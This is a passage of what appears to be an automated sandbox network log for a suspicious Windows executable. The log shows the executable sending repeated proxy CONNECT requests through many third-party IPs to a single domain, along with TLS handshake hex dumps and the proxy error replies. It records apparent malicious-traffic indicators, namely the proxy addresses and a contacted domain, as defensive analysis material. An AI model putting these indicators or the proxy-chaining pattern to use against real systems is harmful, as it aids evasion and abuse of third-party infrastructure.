Mar 11, 2024 15:21:24.090981960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.387542009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.9	50808	115.146.225.137	10046	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.576441050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.9	50654	103.190.54.141	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.580180883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.392345905 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:08.426975012 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 53 93 ed 76 74 d3 a6 10 a6 1d 86 25 b8 a0 4c f2 f9 92 1a d0 7e 24 ab a7 5d 36 10 b9 ad 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eSvt%L~$]6*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:12.515599966 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 58 a4 9a e0 bc c1 5f 8d 68 30 e9 65 a5 46 31 4f a9 3d 08 ec 3b 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eX_h0eF1O=;DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 15:21:12.515640974 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 15:21:12.515674114 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 15:21:13.052335978 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 15:21:14.243902922 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 89 8c 13 8a af e9 34 c1 38 52 8f 89 15 88 c1 fb 8e b3 5e 37 af 14 80 3c 38 45 fb fd ee 4c aa 21 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 83 44 24 d1 29 e1 c2 78 e3 1d d3 e8 04 2d 97 35 1b 06 10 a2 9e Data Ascii: %! 48R^7<8EL!(D$)x-5yVvF
Mar 11, 2024 15:21:14.753499031 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 ee 88 da 9c 5c 1b 63 ed b6 c6 bf c4 0f 7f 7a 07 4c 57 60 55 ae 13 ee 1f 38 20 b9 a5 b7 9a fa dd 60 ff 59 e6 57 f4 ed 75 ad e0 6f 7f ef a0 c7 7f 47 01 14 a8 96 44 09 9e a8 bc 03 40 dc 78 bf b9 dd ac 9b Data Ascii: \czLW`U8 `YWuoGD@xp!wCpw-ha&_ <kPR\|lR!$SXu}]:=qw3uKeY~kKv&(qlXsZfXY` (7SkdA%xL
Mar 11, 2024 15:21:14.754360914 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 44 38 19 86 bd e9 be 1d 3e a2 9e 3b 1f 8d b0 c5 28 01 a1 d2 be 87 54 b4 16 fc 67 db 98 e6 90 53 b3 01 33 5f e4 eb 1f 0f 56 1d d1 ed 37 3f 06 11 6b 79 ea e3 2a d1 f0 f2 83 f7 f6 a7 fa 6e 80 68 e8 e2 af 55 a1 Data Ascii: D8>;(TgS3_V7?ky*nhU)~e!/-@d&EMv<R:/)([^y'#{DrdaT/!pTW/a!xBeam)jBq%t)4/`ZS?#!
Mar 11, 2024 15:21:15.264117002 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 66 48 91 ea 90 bf 26 19 f9 c2 1c bb b7 a9 35 94 55 3b 3a a8 1d d6 eb 63 6e ca 0a b3 ea 9c 95 f1 e4 39 b1 84 b0 ac a5 4b f0 c0 1d 25 4d 94 f6 fa 97 4a e9 e7 c3 3f ed 86 52 99 5e 5c 12 25 42 98 b7 e1 dc 14 35 Data Ascii: qfH&5U;:cn9K%MJ?R^\%B5iKl4,j7ocVxTR%}vG~9H-n5lg8ft\|@^wY7FV$q7{"PDkYqr]*7fXSrtN
Mar 11, 2024 15:21:15.264128923 CET	112	IN	Data Raw: 0e 18 2a 94 2f 02 cb f8 00 1e 48 25 1a da 85 e1 9b 34 d7 06 c1 32 55 11 95 bd 24 1d 6c 2f d2 41 bd 6a 91 da 47 08 54 a9 78 fd 90 cd 1f 1f eb b7 53 a2 95 a5 01 2f 3b e8 a3 de f6 be cd 28 ba 15 da c6 26 cb ad f1 ff f6 9d 38 57 bd 8c 3f 9d 8f ee be Data Ascii: */H%42U$l/AjGTxS/;(&8W?/YnvJ9Js'1Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.9	50783	51.161.131.84	58612	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.580240011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.9	50947	5.161.103.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.586766005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.801933050 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.9	50870	165.231.101.229	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.599293947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.893573046 CET	401	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.9	50871	211.222.252.187	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.610863924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.9	51056	199.85.209.166	48738	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.634932995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.9	50884	3.127.62.252	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.637424946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.943717957 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:02.944171906 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 4e bc df 83 83 9f 60 a9 0a 34 99 6f 6d 0a 60 53 ef db 6c aa f8 ac f5 5b 60 76 a6 ab 70 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eN`4om`Sl[`vp*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:03.249327898 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 2b c4 83 92 de 69 04 a2 51 85 4c 0c a9 b9 7e 89 db 4f 7b 59 24 78 f8 32 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9+iQL~O{Y$x2DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311141025Z260311141025Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:03.333056927 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 43 5e a8 db 54 30 28 21 58 a2 a7 41 e6 2d b7 24 6a a9 80 9b 7a 6b 54 ab a3 3b 67 3f 27 ad a0 72 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ff eb f1 41 ae e5 ff dd 0b 39 63 d2 b3 fe 36 6d 7e c2 07 b2 28 Data Ascii: %! C^T0(!XA-$jzkT;g?'r(A9c6m~(3&
Mar 11, 2024 15:21:03.636773109 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 40 52 d0 dd cb 75 80 0c a1 af 3e 98 8d 72 aa 38 2d 72 2f ed 7a 2b 25 50 87 c4 83 66 82 bf 83 01 d2 23 bb f4 cd 29 eb 60 Data Ascii: (@Ru>r8-r/z+%Pf#)`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.9	50755	65.1.244.232	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.644762993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.028529882 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.9	51041	198.199.120.65	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.645070076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.871999025 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.9	50866	20.206.106.192	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.645443916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.449651957 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.9	51051	162.243.102.207	9764	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.645741940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.9	50854	81.177.6.68	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.646065950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.371923923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.497262001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.700490952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888564110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.9	50883	47.242.15.120	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.646373034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.9	50877	43.133.74.172	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.647011995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.9	50978	52.196.1.182	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.647366047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.914566994 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:02.914866924 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 4e 4d 2d c6 67 2b e7 49 48 db c1 d7 92 6f 91 57 d1 f5 12 73 f1 57 ff 53 15 3e 78 f5 9f 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eNM-g+IHoWsWS>x*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:03.183002949 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 12 ab 9e 27 f5 5c 60 88 83 4e bd 1a bd 6b db 5c e3 a8 46 c5 45 09 56 c5 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9'\`Nk\FEVDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311135602Z260311135602Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:03.193030119 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 42 49 36 d5 4a da 2f 8c 44 15 9e 9e 72 92 dd 4f 64 fb b0 bd 61 46 7c 73 1e db b3 a6 c4 84 ad 0a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 43 f7 a1 83 a8 d2 d0 fb 36 69 09 2f d0 78 83 9f 28 66 85 e8 fb Data Ascii: %! BI6J/DrOdaF\|s(C6i/x(fS# 7{_
Mar 11, 2024 15:21:03.457911015 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 f1 a4 bb ec b3 b6 a1 c7 d2 b0 fb 12 d6 30 f3 02 e5 fa 28 74 75 5a 3b 1c 07 46 30 69 33 fe 47 41 3c 27 61 9b 87 6a cb 48 Data Ascii: (0(tuZ;F0i3GA<'ajH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.9	51111	104.16.106.65	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.647833109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.802011013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.9	50910	196.20.125.145	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.651231050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.9	50921	8.217.44.229	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.651446104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.9	50904	58.234.116.197	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.656645060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.9	51133	172.67.181.58	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
